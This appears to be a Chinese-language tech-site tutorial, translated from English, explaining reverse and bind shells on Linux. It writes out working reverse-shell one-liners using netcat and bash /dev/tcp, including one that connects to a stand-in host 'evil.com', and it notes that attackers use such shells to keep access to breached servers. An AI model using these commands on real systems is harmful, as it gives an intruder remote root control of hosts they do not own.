如何创建反向Shell来执行远程Root命令

系统 Linux
反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。

反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。

反向Shell(Reverse Shell)

反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

Bind Shell

bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。

反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。

环境要求

  • 远程Unix主机
  • 安装了netcat

使用NetCat实现反向shell交互

当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:

  1. nc -c /bin/sh <你的IP> <任何一个未封锁的端口> 

你甚至能通过netcat来pipe BASH。

  1. /bin/sh | nc <你的IP> <任何未封锁的端口> 

然后监听这个shell:

  1. nc -l -p <相同的端口> -vvv 

通过BASH实现反向shell

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。

监听shell:

  1. nc -l -p <任何未封锁的端口> -vvv 

先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。

  1. exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done 

或另外一个反向shell:

  1. 0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196 

这样,你就可以轻松是通过netcat发送任何命令了。

[英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH ]

责任编辑:奔跑的冰淇淋 来源: 外刊IT评论
相关推荐

2013-12-20 10:20:34

2015-09-20 20:13:55

2017-01-18 20:38:36

LinuxShell脚本命令

2024-01-26 07:58:09

2014-09-26 15:41:51

2015-01-12 11:05:40

路由器漏洞华硕路由器

2021-07-14 14:20:22

root命令Linux

2015-03-06 15:43:39

2020-11-06 07:42:01

Linux命令脚本

2017-03-16 14:07:11

LinuxSSH远程访问

2010-07-21 15:50:24

2020-05-18 09:21:50

Linux脚本命令

2022-05-07 11:31:25

漏洞网络攻击

2021-03-17 00:17:16

命令应急响应

2022-11-18 08:55:33

2020-10-22 15:15:25

SamplerShelLinux

2012-05-08 11:11:43

Linuxcrontab命令

2014-05-12 16:40:13

Linux命令快照

2010-05-25 13:47:53

MySQL 命令

2009-02-18 17:31:48

点赞
收藏

51CTO技术栈公众号